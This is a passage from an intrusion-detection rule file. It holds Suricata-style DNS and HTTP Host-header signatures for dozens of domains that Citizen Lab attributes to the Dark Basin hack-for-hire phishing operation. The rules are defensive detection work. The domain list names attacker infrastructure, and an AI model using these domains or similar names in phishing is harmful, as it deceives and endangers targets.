content:"ablyazovcrimesyndicate.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovcrimesyndicate\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353293; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcriminalgang.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|ablyazovcriminalgang|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353241; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcriminalgang.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|ablyazovcriminalgang|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353242; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovcriminalgang.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovcriminalgang.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovcriminalgang\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353243; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcriminals.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|ablyazovcriminals|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353261; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovcriminals.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|ablyazovcriminals|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353262; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovcriminals.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovcriminals.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovcriminals\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353263; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovgang.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|ablyazovgang|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353251; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovgang.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|ablyazovgang|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353252; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovgang.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovgang.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovgang\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353253; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovmafia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|ablyazovmafia|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353281; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovmafia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|ablyazovmafia|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353282; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovmafia.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovmafia.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovmafia\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353283; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: ablyazovorganisedcrime.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|ablyazovorganisedcrime|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353301; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: ablyazovorganisedcrime.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|ablyazovorganisedcrime|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353302; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: ablyazovorganisedcrime.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"ablyazovorganisedcrime.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])ablyazovorganisedcrime\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353303; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: affiliatedomainservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|affiliatedomainservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357261; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: affiliatedomainservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|16|affiliatedomainservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357262; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: affiliatedomainservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"affiliatedomainservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])affiliatedomainservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357263; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: affliatedomainservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|affliatedomainservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355131; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: affliatedomainservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|affliatedomainservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355132; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: affliatedomainservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"affliatedomainservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])affliatedomainservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355133; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: allaboutiot.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|allaboutiot|07|website|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353941; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: allaboutiot.website"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|allaboutiot|07|website|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353942; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: allaboutiot.website"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"allaboutiot.website"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])allaboutiot\.website[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353943; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: anitmationworldnews.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|anitmationworldnews|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356661; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: anitmationworldnews.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|anitmationworldnews|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356662; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: anitmationworldnews.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"anitmationworldnews.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])anitmationworldnews\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356663; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: anothershortnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|anothershortnr|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355031; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: anothershortnr.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|anothershortnr|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355032; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: anothershortnr.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"anothershortnr.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])anothershortnr\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355033; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: aplsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|aplsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357301; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: aplsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|aplsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357302; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: aplsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"aplsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])aplsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357303; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: assuredreturnplan.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|assuredreturnplan|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355201; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: assuredreturnplan.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|assuredreturnplan|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355202; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: assuredreturnplan.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"assuredreturnplan.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])assuredreturnplan\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355203; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: auditionregistrationonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|auditionregistrationonline|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356911; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: auditionregistrationonline.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|1a|auditionregistrationonline|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356912; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: auditionregistrationonline.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"auditionregistrationonline.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])auditionregistrationonline\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356913; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: backwaterreservoir.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|backwaterreservoir|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357071; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: backwaterreservoir.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|backwaterreservoir|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357072; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: backwaterreservoir.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"backwaterreservoir.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])backwaterreservoir\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357073; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basemailservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basemailservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354631; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basemailservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basemailservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354632; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basemailservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basemailservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basemailservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354633; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: baseserveremailbg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|baseserveremailbg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354981; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: baseserveremailbg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|baseserveremailbg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1354982; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: baseserveremailbg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"baseserveremailbg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])baseserveremailbg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1354983; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basichostingrussia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|basichostingrussia|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355721; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basichostingrussia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|12|basichostingrussia|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355722; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basichostingrussia.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basichostingrussia.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basichostingrussia\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355723; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basichostnetservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|basichostnetservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355701; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basichostnetservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|13|basichostnetservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355702; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basichostnetservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basichostnetservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basichostnetservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355703; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicmyoffshore.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicmyoffshore|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355781; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicmyoffshore.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicmyoffshore|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355782; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicmyoffshore.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicmyoffshore.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicmyoffshore\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355783; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicruoffshore.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicruoffshore|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355791; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicruoffshore.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicruoffshore|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355792; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicruoffshore.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicruoffshore.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicruoffshore\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355793; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicservicehk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|basicservicehk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356081; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicservicehk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|basicservicehk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356082; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicservicehk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicservicehk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicservicehk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356083; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicservicelux.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicservicelux|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356091; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicservicelux.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicservicelux|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356092; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicservicelux.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicservicelux.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicservicelux\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356093; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicservicemy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|basicservicemy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356101; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicservicemy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|basicservicemy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356102; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicservicemy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicservicemy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicservicemy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356103; rev:1; priority:1; 